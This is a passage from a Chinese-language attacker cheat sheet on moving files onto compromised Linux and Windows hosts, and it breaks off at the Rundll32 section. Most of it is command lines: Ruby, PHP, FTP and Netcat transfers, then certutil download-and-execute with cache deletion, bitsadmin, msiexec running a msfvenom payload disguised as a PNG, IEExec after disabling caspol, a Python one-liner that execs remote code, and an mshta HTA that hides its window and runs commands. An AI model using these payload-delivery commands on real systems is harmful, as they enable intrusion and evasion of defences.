#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
执行脚本文件是这样;
ruby test.rb
2.8 PHP
PHP作为一种服务端脚本,也可以实现下载文件这种功能。
#!/usr/bin/php
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
执行脚本文件是这样:
php test.php
2.9 FTP
一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash 脚本脚本代码大全,考虑到了交互的情况,可以直接执行并不会产生交互动作。
ftp 127.0.0.1
username
password
get file
exit
当然根据实际情况也可以进入交互终端:
ftp 192.168.3.2
输入用户名和密码后
lcd E:\file # 进入E盘下的file目录
cd www # 进入服务器上的www目录
get access.log # 将服务器上的access.log下载到E:\file
2.10 Netcat
攻击者的电脑上输入:
cat file | nc -l 1234
这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
目标电脑上的命令:
nc host_ip 1234 > file
这条命令将连接攻击者的电脑,接受file内容保存。
3. Windows3.1 Powershell
PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。
下面这两条指令实现了从Internet网络下载一个文件。
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")
3.2 IPC$
copy \192.168.3.1\c$\test.exe E:\file
cmd.exe /k < \webdavserver\folder\batchfile.txt
3.3 Certutil
可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe
certutil -urlcache -split -f http://192.168.3.1/test.exe delete #删除缓存
certutil -verifyctl -split -f -split http://192.168.3.1/test.exe
#此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行
文件下载并执行如下:
certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
3.4 Visual Basic
在1998年Visual Basic最终标准在windows上确定。下面的代码可以实现下载文件,虽然它的长度比Powershell长多了。
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows 7中这个指令并不是必须要用到。但是在windows XP中需要使用这条指令,如下所示:
cscript test.vbs
3.5 Tftp
在Windows Vista以及以后的版本中默认有FTP,可以使用以下命令运行:
上传:
tftp -i IP地址 PUT C:\%homepath%\file 远程存放位置
下载:
tftp -i IP地址 GET C:\%homepath%\file 本地存放位置
3.6 Bitsadmin
Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7以上:
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt
bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
3.7 msiexec
msiexec /q /i http://192.168.3.1/calc.png
calc.png:
msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
3.8 IEExec
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe
3.9 Python
C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
3.10 Mshta
mshta
run.hta 内容如下:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user" // 这里填写命令
self.close
script>
<body>
demo
body>
HEAD>
HTML>
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
3.11 Rundll32
依赖于WScript.shell这个组件: